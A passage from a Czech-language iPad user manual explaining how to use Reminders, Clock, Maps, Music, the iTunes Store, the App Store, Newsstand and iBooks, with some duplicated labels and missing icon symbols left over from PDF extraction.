vaší osobní vizitky v Kontaktech, například adresa domů a do práce a adresy, které jste přidali. Chcete-li použít jinou adresu, klepněte na volbu Zadejte adresu. PřipomínkyKapitola 16 Připomínky 77 Poznámka:  Polohové připomínky jsou k dispozici pouze na některých modelech iPadu Wi-Fi + cellular. Polohu nelze nastavit u připomínek využívajících účty Microsoft Exchange. Hledání v připomínkách: Zadejte slovo nebo frázi do vyhledávacího pole. Připomínky se vyhledávají podle názvů. K hledání nebo přidávání připomínek můžete použít také Siri. Vypnutí oznamování připomínek: Otevřete Nastavení > Oznámení. Informace najdete v tématu Funkce Nerušit a Oznámení na stránce 119. Nastavení zvuku přehrávaného při oznámení: Otevřete Nastavení > Zvuk. Průběžná aktualizace připomínek na ostatních zařízeních: Vyberte Nastavení > iCloud a poté zapněte volbu Připomínky. Chcete-li své připomínky udržovat v aktuálním stavu na systému OS X Mountain Lion, zapněte iCloud také na svém Macu. Připomínky jsou podporovány i u některých jiných typů účtů, například Exchange. Vyberte Nastavení > Pošta, kontakty, kalendáře a zapněte Připomínky u účtů, které chcete používat. Nastavení výchozího seznamu pro nové připomínky: Vyberte Nastavení > Pošta, kontakty, kalendáře a poté v části Připomínky klepněte na Výchozí seznam.17 78 Můžete přidat další hodiny a sledovat čas v jiných velkých městech a časových pásmech na celém světě. Přidání hodin Přidání hodin Zobrazení hodin, nastavení budíku, načasování události nebo nastavení odpočtu Zobrazení hodin, nastavení budíku, načasování události nebo nastavení odpočtu Odstranění hodin nebo změna jejich pořadí Odstranění hodin nebo změna jejich pořadí Přidání hodin:  Klepněte na Přidat a zadejte název města nebo vyberte město ze seznamu. Pokud neuvidíte hledané město, zkuste některé velké město ve stejném časovém pásmu. Zobrazení hodin na celé obrazovce:  Klepněte na některé hodiny. Klepnutím na Světový čas zobrazíte všechny hodiny. Uspořádání hodin:  Klepněte na Upravit a poté hodiny přesuňte tažením nebo smažte klepnutím na . Nastavení budíku:  Klepněte na Budík a poté na . Změna budíku:  Klepněte na Upravit, poté klepněte na a upravte nastavení nebo položku smažte klepnutím na . Nastavení časovače spánku:  Klepněte na Minutku, nastavte čas, klepněte na Zvuky, vyberte Zastavit přehrávání, klepněte na Nastavit a poté na Spustit. Hodiny18 79 Hledání míst VAROVÁNÍ:  Důležité informace o bezpečné navigaci a o udržování pozornosti při řízení najdete v části Důležité informace o bezpečnosti na stránce 132. Načtení dalších informací Načtení dalších informací Klepnutím na špendlík zobrazíte informace. Klepnutím na špendlík zobrazíte informace. Tisk, zobrazení provozu, výpis výsledků nebo výběr zobrazení Tisk, zobrazení provozu, výpis výsledků nebo výběr zobrazení Načtení trasy Načtení trasy Zadejte hledaný text. Zadejte hledaný text. Zobrazení vaší aktuální pozice Zobrazení vaší aktuální pozice Rychlá trasa Rychlá trasa Poklepáním zvětšíte, klepnutím dvěma prsty zmenšíte. Nebo sevřete dva prsty. Poklepáním zvětšíte, klepnutím dvěma prsty zmenšíte. Nebo sevřete dva prsty. Aktuální poloha Aktuální poloha Flyover (standardně 3D) Flyover (standardně 3D) Důležité:  Mapy, trasy, 3D, Flyover a aplikace využívající určování polohy jsou závislé na datových službách. Tyto datové služby se mohou měnit a nemusí být k dispozici ve všech oblastech. Důsledkem toho mohou být mapy, trasy, 3D, Flyover nebo informace závisející na poloze nedostupné, nepřesné nebo neúplné. Porovnejte informace poskytnuté v zařízení iPad s vaším okolím a případné rozdíly řešte pomocí ukazatelů na cestě. Některé funkce Map vyžadují spolupráci s polohovými službami. Viz Soukromí na stránce 125. Hledání místa:  Klepněte na pole hledání a poté zadejte adresu nebo jiné údaje, například: • Křižovatku („Revoluční a Klimentská“) • Oblast („Holešovice“) • Památku („Národní divadlo“) MapyKapitola 18 Mapy 80 • PSČ • Podnik („kino“, „restaurace Pankrác“, „Apple Inc New York“) Nebo klepněte na jeden z návrhů pod vyhledávacím polem. Navigování v mapách: • Posun nahoru, dolů, doleva nebo doprava:  Posouvejte obrazovku prstem. • Otočení mapy:  Otáčejte dvěma prsty na obrazovce. V pravém horním rohu se objeví kompas, který vám ukáže orientaci mapy. • Návrat k orientaci na sever:  Klepněte na . Vyhledání polohy kontaktu nebo výsledku hledání uloženého do záložek či do seznamu posledních hledání:  Klepněte na . Načtení a sdílení informací o poloze:  Klepnutím na špendlík zobrazte informační banner a poté klepněte na . Pro některá místa můžete získat recenze a fotografie z Yelpu. Můžete také načíst trasu, kontaktovat firmu, navštívit její domovskou stránku, přidat firmu do svých kontaktů, sdílet polohu nebo vytvořit záložku místa. • Čtení recenzí:  Klepněte na Recenze. Chcete-li použít další funkce Yelpu, klepněte na některé z tlačítek pod recenzemi. • Zobrazení fotografií:  Klepněte na Fotografie. • Odeslání polohových údajů e-mailem, textovou zprávou, tweetem nebo její zveřejnění na Facebooku:  Klepněte na Sdílet polohu. Chcete-li použít Twitter nebo Facebook, musíte být přihlášeni ke svým účtům. Viz Sdílení na stránce 29. Použití špendlíku k označení místa: Dotkněte se mapy a držte prst na místě, dokud se nezobrazí špendlík. Výběr standardního, hybridního nebo satelitního zobrazení:  Klepněte do pravého dolního rohu. Oznámení problému:  Klepněte do pravého dolního rohu. Zjištění trasy Načtení trasy: Klepněte na a poté na , zadejte start a cíl a poté klepněte na tlačítko Trasa. Také můžete vybrat místo či trasu ze seznamu (je-li k dispozici). Pokud se zobrazí více tras, klepněte na tu, kterou chcete použít. • Podrobné pokyny (iPad Wi-Fi + cellular):  Klepněte na Start. Mapy budou sledovat vaši polohu a budou vám předčítat podrobné pokyny až do cíle vaší cesty. Chcete-li zobrazit nebo skrýt ovládací prvky, klepněte na obrazovku. I když se iPad uzamkne, Mapy zůstanou na obrazovce a budou vám nadále oznamovat pokyny. Předčítání pokynů bude pokračovat i v případě, že otevřete jinou aplikaci. Chcete-li se vrátit do Map , klepněte na banner u horního okraje obrazovky. • Podrobné pokyny (iPad Wi-Fi only):  Klepněte na Začátek a přejetím doleva zobrazte další pokyny. • Návrat k přehledu trasy:  Klepněte na Přehled. • Zobrazení všech pokynů jako seznamu:  Na obrazovce Přehled klepněte na . • Zastavení předčítání podrobných pokynů.  Klepněte na Konec. Načtení trasy z místa, na kterém se právě nacházíte:  Na banneru cílového místa klepněte na a poté klepněte na tlačítko Navigovat sem.Kapitola 18 Mapy 81 Načtení trasy pro pěší:  Klepněte na a poté na , zadejte start a cíl a poté klepněte na tlačítko Start. Také můžete vybrat místo či trasu ze seznamu (je-li k dispozici). Klepněte na Začátek a přejetím doleva zobrazte další pokyny. Načtení trasy veřejnou hromadnou dopravou:  Klepněte na , zadejte start a cíl, klepněte na a poté na tlačítko Start. Také můžete vybrat místo či trasu ze seznamu (je-li k dispozici). Stáhněte a nainstalujte aplikace pro veřejnou hromadnou dopravu, které chcete použít. Zobrazení stavu provozu: Klepněte do pravého dolního rohu obrazovky a poté klepněte na Zobrazit provoz. Oranžové tečky označují zpomalený provoz a červené tečky označují popojíždění v koloně. Klepnutím na některou ze značek zobrazíte zprávy o dopravních nehodách. 3D a Flyover Na zařízení iPad 3. generace a novějších můžete použít režim 3D (standardní zobrazení) nebo Flyover (satelitní nebo hybridní zobrazení) a prohlédnout si trojrozměrné zobrazení mnoha měst na světě. V mapě můžete navigovat obvyklým způsobem a zvětšit zobrazení tak, že uvidíte budovy. Také můžete upravit úhel kamery. Transamerica Pyramid Building je registrovaná ochranná známka společnosti Transamerica Corporation. Transamerica Pyramid Building je registrovaná ochranná známka společnosti Transamerica Corporation. Použití zobrazení 3D nebo Flyover: Zvětšujte mapu, dokud se neaktivuje nebo , a poté na jedno z těchto tlačítek klepněte. Nebo táhněte dvěma prsty směrem nahoru. Mezi zobrazením 3D a Flyover můžete přepnout klepnutím do pravého dolního rohu a následnou změnou zobrazen. Úprava úhlu kamery:  Táhněte dvěma prsty nahoru nebo dolů. Nastavení Map Nastavení voleb pro Mapy:  Otevřete Nastavení > Mapy. Nastavení obsahují: • Hlasitost hlasu navigace (iPad Wi-Fi + cellular) • Nastavení měření vzdálenosti v mílích nebo kilometrech • Nastavení jazyka a velikosti štítků19 82 Získávání hudby Chcete-li do zařízení iPad uložit hudbu a další zvukový obsah, máte tyto možnosti: • Zakoupení a stažení z obchodu iTunes Store: V aplikaci Hudba klepněte na Obchod. Viz Kapitola 20, iTunes Store, na stránce 88. • Automatické stahování hudby zakoupené na vašich dalších iOS zařízeních a počítačích: Viz Použití iCloudu na stránce 15. • Synchronizace obsahu s iTunes ve vašem počítači: Viz Synchronizace s iTunes na stránce 16. • Použití služby iTunes Match k uložení vaší hudební knihovny na iCloud: Viz iTunes Match na stránce 86. Přehrávání hudby VAROVÁNÍ:  Důležité informace o předcházení poškození sluchu najdete v části Důležité informace o bezpečnosti na stránce 132. Zvuk můžete poslouchat z vestavěného reproduktoru, ze sluchátek připojených k sluchátkovému výstupu nebo z bezdrátových stereofonních sluchátek Bluetooth spárovaných se zařízením iPad. Jsou-li připojena nebo spárována sluchátka, reproduktor nevydává žádný zvuk. Přehrání stopy:  Procházejte stopy podle seznamů stop, skladeb, umělců nebo jiných kategorií, a když najdete požadovanou skladbu, klepněte na ni. U horního okraje obrazovky se objeví ovládací prvky přehrávání. • Zobrazení dalších tlačítek pro procházení: Klepněte na Více. • Skok na libovolné místo ve skladbě: Táhněte přehrávací hlavu lištou zrychleného přehrávání. Sklouznutím prstu dolů po obrazovce zpomalíte rychlost tažení. Zobrazení obrazovky Puštěné:  Klepněte na miniaturu obalu alba u horního okraje obrazovky. • Zobrazení ovládacích prvků: Klepněte na obrazovku. • Procházení skladeb s použitím grafiky obalů Přejeďte doleva nebo doprava. Skladby se začnou automaticky přehrávat. HudbaKapitola 19 Hudba 83 • Zobrazení všech stop alba obsahujícího aktuální skladbu:  Klepněte na . Klepnutím pusťte stopu. Chcete-li se vrátit na obrazovku Puštěné, znovu klepněte na . • Ohodnocení skladeb: V zobrazení seznamu stop nastavte počet hvězdiček klepnutím do řádku teček nad seznamem. Hodnocení můžete využívat při vytváření dynamických seznamů stop v iTunes. Tažením přeskočíte dopředu nebo dozadu. Tažením přeskočíte dopředu nebo dozadu. Úprava hlasitosti Úprava hlasitosti Zpět Zpět Procházení hudby Procházení hudby Seznam stop Seznam stop Přepínač mezi zobrazením přehrávané skladby a procházením Přepínač mezi zobrazením přehrávané skladby a procházením Vytvoření seznamu Genius Vytvoření seznamu Genius Pustit/pozastavit Pustit/pozastavit Opakovat Opakovat Zamíchat Zamíchat AirPlay AirPlay Hledání hudby (v názvech, umělcích, albech a skladatelích):  Při procházení zadejte text do pole hledání v pravém dolním rohu obrazovky. Zvukový obsah můžete prohledávat také z plochy. Viz Hledání na stránce 27. Zobrazení ovládání zvuku při práci v jiné aplikaci: Dvakrát stiskněte tlačítko plochy a poté přejeďte u dolního okraje obrazovky směrem doprava. Aktuální zvuková aplikace. Klepnutím ji otevřete. Aktuální zvuková aplikace. Klepnutím ji otevřete. Zobrazení ovládání zvuku při zamknuté obrazovce: Dvakrát stiskněte tlačítko plochy . Přehrávání hudby přes reproduktory AirPlay nebo Apple TV: Klepněte na . Viz AirPlay na stránce 30.Kapitola 19 Hudba 84 Podcasty a audioknihy Při spuštění přehrávání se na obrazovce Puštěné zobrazí ovládací prvky pro podcasty a audioknihy. Poznámka:  Aplikace Podcasty je zdarma k dispozici v obchodu App Store. Viz Kapitola 24, Podcasty, na stránce 98. V případě, že aplikaci Podcasty nainstalujete, podcasty a související ovládací prvky budou z aplikace Hudba odstraněny. Nastavení rychlosti přehrávání podcastu: Klepněte na . Opakovaným klepnutím změníte rychlost. • = přehrávat dvojnásobnou rychlostí. • = přehrávat poloviční rychlostí. • = přehrávat normální rychlostí. Opakování posledních 15 sekund podcastu: Klepněte na . Načtení dalších epizod podcastu: Pokud chcete zobrazit dostupné epizody, klepněte na Podcasty (nejsou-li Podcasty zobrazeny, klepněte nejprve na Více) a poté na některý podcast. Seznamy stop Vytvoření seznamu stop:  Zobrazte seznamy stop a poté klepněte na Nový u horního okraje obrazovky a zadejte a uložte název. Přidejte skladby a videa a klepněte na Hotovo. Úprava seznamu stop:  Zobrazte seznamy stop, vyberte seznam stop a poté klepněte na Upravit. • Přidání dalších skladeb: Klepněte na Přidat skladby. • Smazání skladby: Klepněte na . Smazání skladby ze seznamu stop tuto skladbu nesmaže ze zařízení iPad. • Změna pořadí skladeb: Přetáhněte ikonu . Nové a změněné seznamy stop budou zkopírovány do vaší knihovny iTunes při nejbližší synchronizaci zařízení iPad s počítačem, nebo, pokud jste se přihlásili k odběru služby iTunes Match, prostřednictvím iCloudu. Smazání seznamu stop: V přehledu seznamů stop se dotkněte seznamu stop, podržte na něm prst a poté klepněte na . Smazání skladby ze zařízení iPad: V části Skladby přejeďte přes skladbu a poté klepněte na Smazat. Skladba bude odstraněna ze zařízení iPad, nikoli však z knihovny iTunes ve vašem Macu či PC ani z iCloudu. Pokud je zapnuta služba iTunes Match, nemůžete hudbu mazat. Pokud se nedostává místa, iTunes Match odstraní hudbu za vás počínaje nejstaršími a nejméně přehrávanými skladbami.Kapitola 19 Hudba 85 Genius Seznam stop Genius je sbírka skladeb z vaší knihovny, které se k sobě hodí. Genius je bezplatná služba, ale vyžaduje Apple ID. Mix Genius je výběr skladeb stejného žánru, který se vytváří z vaší knihovny vždy znovu pokaždé, když jej posloucháte. Použití služby Genius na zařízení iPad: Zapněte službu Genius v iTunes na svém počítači a poté synchronizujte iPad s iTunes. Mixy Genius jsou synchronizovány automaticky, pokud svou hudbu nespravujete ručně. Synchronizovat lze i seznamy stop Genius. Puštění mixu Genius:  Klepněte na Seznamy a poté na některý z mixů Genius na začátku přehledu seznamů stop. Vytvoření seznamu stop Genius:  Pusťte skladbu a poté klepněte na nahoře na obrazovce. Seznam stop Genius bude přidán k vašim seznamům stop za mixy Genius. Přehrání seznamu stop Genius: Klepněte na seznam stop. • Aktualizace seznamu stop: Klepněte na Obnovit. • Uložení seznamu stop: Klepněte na Uložit. Seznam stop bude uložen pod názvem skladby, kterou jste vybrali, a označen symbolem . Nahrazení seznamu stop Genius s použitím jiné skladby: Pusťte skladbu a poté klepněte na . Úprava uloženého seznamu stop Genius: Klepněte na seznam stop a poté na Upravit. • Smazání skladby: Klepněte na . • Změna pořadí skladeb: Přetáhněte ikonu . Smazání uloženého seznamu stop Genius: Dotkněte se seznamu stop, podržte na něm prst a poté klepněte na . Seznamy stop Genius vytvořené na zařízení iPad jsou do počítače zkopírovány při synchronizaci s iTunes. Poznámka:  Poté, co seznam stop Genius synchronizujete s iTunes, nebudete jej moci v zařízení iPad přímo smazat. V iTunes můžete upravit název seznamu stop, zastavit synchronizaci nebo jej smazat. Siri K ovládání přehrávání hudby můžete použít Siri (iPad 3. generace nebo novější). Viz Kapitola 4, Siri, na stránce 36. Použití Siri k přehrávání hudby: Stiskněte a přidržte tlačítko plochy . • Puštění nebo pozastavení hudby: Vyslovte „play“ nebo „play music“. Chcete-li přehrávání pozastavit, vyslovte „pause“, „pause music“ nebo „stop“. Můžete též použít „next song“ nebo „previous song“. • Puštění alba, umělce nebo seznamu stop: Vyslovte „play“ a poté „album“, „artist“ nebo „playlist“ a jméno. • Zamíchání aktuálního seznamu stop: Vyslovte „shuffle“. • Vyhledání dalších informací o aktuální skladbě: Vyslovte „what’s playing“, „who sings this song“ nebo „who is this song by“. • Použití funkce Genius pro puštění podobných skladeb: Vyslovte „Genius“ nebo „play more songs like this“.Kapitola 19 Hudba 86 iTunes Match Funkce iTunes Match ukládá vaši hudební knihovnu na iCloud (včetně skladeb importovaných z CD) a umožňuje vám využívat vaši sbírku na zařízení iPad i na dalších počítačích a zařízeních iOS. Služba iTunes Match je k dispozici formou placeného odběru. Poznámka:  iTunes Match není k dispozici ve všech oblastech. Je-li zapnuta volba Nastavení > Hudba > Používat mobilní data, může být přenos zpoplatněn. Přihlášení k odběru služby iTunes Match:  V iTunes na svém počítači vyberte Obchod > Zapnout iTunes Match a poté klikněte na tlačítko Odebírat. Jakmile se přihlásíte k odběru, aplikace iTunes přidá vaši hudbu, seznamy stop a mixy Genius na iCloud. Vaše skladby odpovídající hudbě, která je již v obchodě iTunes Store k dispozici, budou v knihovně iCloud zpřístupněny automaticky. Ostatní skladby budou do knihovny odeslány. Nalezené skladby si můžete stáhnout a přehrávat až v kvalitě iTunes Plus (AAC 256 kb/s, bez DRM), i když byla kvalita originálu nižší. Další informace naleznete na webové stránce www.apple.com/icloud/features. Zapnutí iTunes Match: Otevřete Nastavení > Hudba. Při zapnutí služby iTunes Match bude synchronizovaná hudba odstraněna ze zařízení iPad a budou deaktivovány mixy Genius a seznamy stop Genius. Poznámka:  Jsou-li zapnuta Mobilní data, mohou se na ně vztahovat poplatky operátora. Skladby se do zařízení iPad stahují při přehrávání. Kromě toho si můžete skladby stáhnout také ručně. Stažení alba do zařízení iPad:  Při procházení klepněte na Alba, poté klepněte na některé z alb a na . Zobrazení pouze hudby, jež byla stažena z iCloudu:  Otevřete Nastavení > Hudba a vypněte volbu Zobrazit veškerou hudbu (k dispozici pouze v případě, že je zapnuta služba iTunes Match). Správa vašich zařízení pomocí služby iTunes Match nebo Automatických stahování:  V iTunes na počítači otevřete Obchod > Zobrazit účet. Přihlaste se a v části „iTunes in the Cloud“ klikněte na „Manage Devices. Domácí sdílení Domácí sdílení vám umožňuje přehrávat hudbu, filmy a televizní pořady z knihovny iTunes ve vašem Macu nebo PC. iPad se musí nacházet ve stejné Wi-Fi síti jako počítač. Poznámka:  Domácí sdílení vyžaduje iTunes 10,2 nebo novější, k dispozici na adrese www.apple.com/cz/itunes/download/. Booklety, iTunes Extras a další bonusový materiál sdílet nelze. Přehrávání hudby z knihovny iTunes ve vašem počítači na zařízení iPad: 1 V iTunes v počítači vyberte Ostatní > Zapnout Domácí sdílení. Přihlaste se a klikněte na Vytvořit domácí sdílení. 2 Na zařízení iPad vyberte Nastavení > Hudba a poté se přihlaste k Domácímu sdílení pod stejným Apple ID a heslem. 3 V aplikaci Hudba klepněte na Více, poté na Sdílené a vyberte knihovnu v počítači. Návrat k obsahu na zařízení iPad: Klepněte na Sdílené a vyberte Můj iPad.Kapitola 19 Hudba 87 Nastavení aplikace Hudba Otevřete Nastavení > Hudba a nastavte volby pro aplikaci Hudba, mimo jiné: • Vyrovnat hlasitost (normalizace úrovní hlasitosti vašeho audioobsahu) • Ekvalizér Poznámka:  Ekvalizér ovlivňuje všechny zvukové výstupy včetně sluchátkové zdířky a AirPlay. Nastavení ekvalizéru se obecně vztahují pouze na hudbu přehrávanou v aplikaci Hudba. Nastavení Noční režim se však vztahuje na všechny zvukové výstupy pro video i hudbu. Noční režim komprimuje dynamický rozsah zvukového výstupu, snižuje hlasitost hlučných pasáží a zvyšuje hlasitost tichých pasáží. Toto nastavení se vám může hodit při poslechu hudby například v letadle nebo v jiném hlučném prostředí. • Seskupení podle umělců alb • iTunes Match • Domácí sdílení Nastavení limitu hlasitosti:  Otevřete Nastavení > Hudba > Limit hlasitosti a upravte polohu jezdce hlasitosti. Uzamčení limitu hlasitosti:  Otevřete Nastavení > Obecné > Omezení > Limit hlasitosti a klepněte na Zakázat změny.20 88 Pomocí obchodu iTunes Store můžete do svého zařízení iPad přidat hudbu, TV pořady a podcasty. Procházení Procházení Znovu stáhněte zakoupené položky. Znovu stáhněte zakoupené položky. Změna kategorií Změna kategorií iTunes Store může sloužit k těmto činnostem: • hledání hudby, TV pořadů, filmů, zvuků a dalších položek pomocí procházení nebo vyhledávání, • stahování dříve zakoupených položek. Poznámka:  Abyste mohli iTunes Store používat, potřebujete internetové připojení a Apple ID. Prohlížení obsahu:  Klepněte na některou kategorii. Klepněte na Genres a zpřesněte hledání. Chcete-li zobrazit informace o položce, klepněte na ni. Hledání obsahu: Klepněte na Search, poté klepněte do pole hledání, zadejte jedno nebo více slov a znovu klepněte na Search. Zobrazení nebo poslech ukázky: Klepněte na skladbu nebo video, z nichž chcete přehrát ukázku. iTunes StoreKapitola 20 iTunes Store 89 Zakoupení položky: Klepněte na cenu položky (nebo na Free) a dalším klepnutím si položku kupte. Pokud jste již položku zakoupili, zobrazí se místo ceny slovo „Download“ a a při dalším stažení už za ni nebudete platit. Průběh stahování položek můžete zobrazit klepnutím na More a poté na Downloads. Vypůjčení filmu: V některých oblastech si lze vypůjčit vybrané filmy. Půjčený film můžete začít sledovat do 30 dnů od výpůjčky. Jakmile jej jednou začnete přehrávat, můžete si jej pustit, kolikrát chcete, v průběhu 24 hodin. Po uplynutí těchto časových limitů je film automaticky smazán. Stažení dříve zakoupené položky: Klepněte na Purchased. Chcete-li automaticky stahovat položky zakoupené na jiných zařízeních, vyberte Nastavení > iTunes a App Store. Uplatnění dárkového kupónu nebo kódu: Klepněte na některou kategorii (například Music), posuňte seznam na konec a poté klepněte na Redeem. Zobrazení a úpravy vašeho účtu: Vyberte Nastavení > iTunes a App Store, klepněte na své Apple ID a poté klepněte na Zobrazit Apple ID. Chcete-li upravit některou položku, klepněte na ni. Pokud chcete změnit své heslo, klepněte na pole Apple ID. Zapnutí nebo vypnutí služby iTunes Match: Otevřete Nastavení > iTunes a App Store. iTunes Match je předplacená služba, která ukládá veškerou vaši hudbu na iCloudu, takže k ní můžete získat přístup odkudkoli. Přihlášení pod jiným Apple ID: Vyberte Nastavení > iTunes a App Store, klepněte na název svého účtu a poté na Odhlásit se. Při dalším stahování aplikace budete moci zadat jiné Apple ID. Stahování nákupů přes mobilní síť (modely Wi-Fi + cellular): Vyberte Nastavení > iTunes a App Store > Používat Mobilní data. Touto volbou bude také zapnuto přehrávání skladeb ze služby iTunes Match. Za stahování nákupů a používání služby iTunes Match přes mobilní síť vám může váš operátor účtovat poplatky.21 90 V kostce Pomocí aplikace App Store můžete do zařízení iPad přidávat aplikace. Prohlížejte, nakupujte a stahujte aplikace vytvořené přímo pro iPad nebo pro iPhone a iPod touch. Procházení Procházení Znovu stáhněte zakoupené položky. Znovu stáhněte zakoupené položky. V obchodě App Store můžete: • hledat nové bezplatné nebo zakoupené aplikace pomocí procházení nebo vyhledávání, • stahovat dříve zakoupené položky a aktualizace, • uplatnit dárkový kupón nebo stahovací kód, • doporučit aplikaci příteli, • spravovat svůj účet App Store. Poznámka:  Abyste mohli App Store používat, potřebujete internetové připojení a Apple ID. Zakoupení aplikace: Klepněte na cenu aplikace (nebo na slovo Free – Zdarma) a poté na Buy Now (Koupit). Pokud jste již aplikaci zakoupili, zobrazí se na informační obrazovce místo ceny volba Install (Instalovat). Za nové stažení už nebudete platit. Během stahování aplikace se na ploše zobrazí její ikona s indikátorem průběhu. App StoreKapitola 21 App Store 91 Stažení dříve zakoupené položky: Klepněte na Updates (Aktualizace) a poté na Purchased (Koupené). Chcete-li automaticky stahovat nové položky zakoupené na jiných zařízeních, otevřete Nastavení > iTunes a App Store. Stažení aktualizovaných aplikací: Klepněte na Updates (Aktualizace). Klepnutím na aplikaci zobrazíte informace o nové verzi a následným klepnutím na Update (Aktualizovat) ji stáhnete. Také můžete klepnout na Update All (Aktualizovat vše), čímž stáhnete všechny aplikace v seznamu. Uplatnění dárkového kupónu nebo stahovacího kódu: Klepněte na Featured (Doporučené), posuňte seznam na konec a poté klepněte na Redeem (Uplatnit slevu). Doporučení aplikace příteli: Vyberte aplikaci a poté klepněte na a vyberte způsob jejího sdílení. Zobrazení a úpravy vašeho účtu: Otevřete Nastavení > iTunes a App Store, klepněte na své Apple ID a poté klepněte na Zobrazit Apple ID. Můžete se přihlásit k odběru novinek v iTunes a přečíst si Zásady ochrany osobních údajů zákazníků společnosti Apple. Pokud chcete změnit své heslo, klepněte na pole Apple ID. Přihlášení pod jiným Apple ID: Vyberte Nastavení > iTunes a App Store, klepněte na název svého účtu a poté na Odhlásit se. Při dalším stahování aplikace budete moci zadat jiné Apple ID. Vytvoření nového Apple ID: Otevřete Nastavení > iTunes a App Store, klepněte na Vytvořit nové Apple ID a dále postupujte podle pokynů na obrazovce. Stahování nákupů přes mobilní síť (modely Wi-Fi + cellular): Vyberte Nastavení > iTunes a App Store > Používat Mobilní data. Za stahování nákupů přes mobilní síť může váš operátor účtovat vlastní poplatky. Aplikace z Kiosku se aktualizují jen přes Wi-Fi. Mazání aplikací Smazání aplikace pocházející z App Store:  Dotkněte se ikony aplikace na ploše a přidržte ji, dokud se nezačne třást. Potom klepněte na . Integrované aplikace smazat nelze. Po dokončení stiskněte tlačítko plochy . Současně s aplikací budou smazána také všechna její data. Kteroukoli aplikaci, kterou jste si koupili, můžete z obchodu App Store bezplatně stáhnout znovu. Informace o smazání všech vašich aplikací, dat a nastavení viz Obnovit na stránce 124.22 92 Kiosek uspořádává vaše novinové a časopisové aplikace a informuje vás o dostupnosti nových vydání a čísel. Vyhledání aplikací pro Kiosek Vyhledání aplikací pro Kiosek Chcete-li publikaci přemístit, dotkněte se jí a podržte ji. Chcete-li publikaci přemístit, dotkněte se jí a podržte ji. Kiosek slouží k uspořádání časopisových a novinových aplikací na poličce pro snadný přístup. Hledání aplikací v Kiosku:  Klepnutím na Kiosek zobrazte polici a poté klepněte na Obchod. Když v Kiosku zakoupíte aplikaci, bude automaticky přidána na vaši poličku. Po stažení můžete aplikaci otevřít a podívat se na jednotlivá čísla a volby předplatného. Přihlášení k odběrům se uskutečňuje formou nákupů v aplikacích, účtovaných na váš účet Apple ID. Vypnutí automatického stahování nových čísel a vydání: Otevřete Nastavení > Kiosek. Pokud to daná aplikace podporuje, bude Kiosek při připojení k Wi-Fi síti automaticky stahovat nová čísla. Kiosek23 93 V kostce iBooks jsou skvělý způsob čtení a nakupování knih Z App Store si zdarma stáhněte aplikaci iBooks a užijte si cokoli od klasických děl až po bestsellery. Přidání záložky. Přidání záložky. Poklepáním zvětšíte. Poklepáním zvětšíte. Přechod na jinou stránku. Přechod na jinou stránku. S iBooks je čtení knih a PDF jednoduše zábavné. Stáhněte si iBooks zdarma z obchodu App Store a z integrovaného obchodu iBookstore získejte cokoli, od klasických děl až po bestsellery. Pro stažení aplikace iBooks a použití obchodu iBookstore potřebujete připojení k Internetu a Apple ID. Návštěva v obchodu iBookstore: Klepnete-li v iBooks na Obchod, můžete: • hledat knihy pomocí procházení nebo vyhledávání, • prohlížet si ukázky knih, abyste zjistili, jestli se vám budou líbit, • číst a psát recenze a podívat se na nejnovější bestsellery, • upozornit přítele na knihu e-mailem. Nákup knih: Vyhledejte požadovanou knihu, klepněte na cenu a poté si dalším klepnutím knihu kupte. iBooksKapitola 23 iBooks 94 Získání informací o knize: Před zakoupením knihy si můžete přečíst stručné shrnutí jejího obsahu či její recenze nebo si stáhnout ukázku. Po zakoupení knihy můžete napsat vlastní recenzi. Stažení dříve zakoupené položky: Klepněte na Purchased. Chcete-li položku stáhnout během procházení, stačí pouze klepnout na tlačítko Download umístěné tam, kde bývá obvykle cena. Za nové stažení už nebudete platit. Chcete-li automaticky stahovat položky zakoupené na jiných zařízeních, vyberte Nastavení > iTunes a App Store. Čtení knih Čtení knih je jednoduché. Otevřete poličku a klepněte na požadovanou knihu. Každá kniha má vlastní sadu funkcí založenou na obsahu a formátu knihy. Některé z níže popisovaných funkcí proto nemusí být u knihy, kterou právě čtete, k dispozici. Otevření knihy: Klepněte na knihu, kterou chcete číst. Pokud ji na poličce nevidíte, zobrazte další sbírky přejetím doleva nebo doprava. • Zobrazení ovládacích prvků: Klepněte poblíž středu stránky. • Zvětšení obrázku: Poklepejte na obrázek. V některých knihách můžete přidržením prstu zobrazit lupu, s jejíž pomocí si můžete obrázek prohlédnout. • Přechod na určitou stránku: Použijte ovládací prvky pro navigaci u dolního okraje obrazovky. Nebo klepněte na tlačítko a zadejte číslo stránky. Poté klepněte na toto číslo stránky ve výsledcích vyhledávání. • Hledání slova: Poklepejte na slovo, upravte výběr pomocí úchytů a poté v nabídce, která se zobrazí, klepněte na Definovat. Definice nejsou k dispozici ve všech jazycích. • Otevření obsahu knihy: Klepněte na . U některých knih můžete také zobrazit obsah gestem sevření prstů. • Přidání nebo odstranění záložky: Klepněte na . Dalším klepnutím záložku opět odstraníte. Před zavřením nemusíte do knihy vkládat záložku, protože aplikace iBooks si pamatuje, kde jste přestali číst. Záložek můžete vytvořit více. Chcete-li zobrazit všechny, klepněte na a potom na Záložky. Přidávání anotací ke knize: Do knihy můžete přidávat poznámky a zvýraznění. • Přidání zvýraznění: Poklepejte na slovo, upravte výběr pomocí úchytů, poté klepněte na Zvýraznit a vyberte barvu nebo podtržení. • Odstranění zvýraznění: Klepněte na zvýrazněný text a poté na . • Přidání poznámky: Poklepejte na některé slovo, klepněte na Zvýraznit a poté v nabídce, která se zobrazí, vyberte volbu . • Odstranění poznámky:  Smažte její text. Chcete-li odstranit některou poznámku a její zvýraznění, klepněte na zvýrazněný text a poté na . • Zobrazení všech poznámek: Klepněte na tlačítko a poté na Poznámky. Chcete-li své poznámky vytisknout nebo poslat e-mailem, klepněte na .Kapitola 23 iBooks 95 Změna vzhledu knihy: U některých knih lze změnit typ a velikost písma nebo barvu stránek. • Změna písma nebo velikosti písma: Klepnutím blízko středu stránky zobrazte ovládací prvky a poté klepněte na . Chcete-li změnit písmo, klepněte na volbu Písma. U některých knih je změna písma podporována pouze při orientaci zařízení iPad na výšku. • Změna barvy a textu na stránce: Klepnutím doprostřed stránky zobrazte ovládací prvky, klepněte na a poté na Téma. Toto nastavení se vztahuje na veškeré knihy, které je podporují. • Změna jasu: Klepnutím blízko středu stránky zobrazte ovládací prvky a poté klepněte na . Není-li tlačítko zobrazeno, klepněte nejprve na . • Zapnutí nebo vypnutí zarovnání do bloku a dělení slov: Otevřete Nastavení > iBooks. V některých knihách a PDF souborech nelze zarovnání do bloku či dělení slov použít. Interakce s multimédii Některé knihy obsahují interaktivní prvky, například filmy, diagramy, prezentace, galerie, 3D objekty a testy. Chcete-li pracovat s 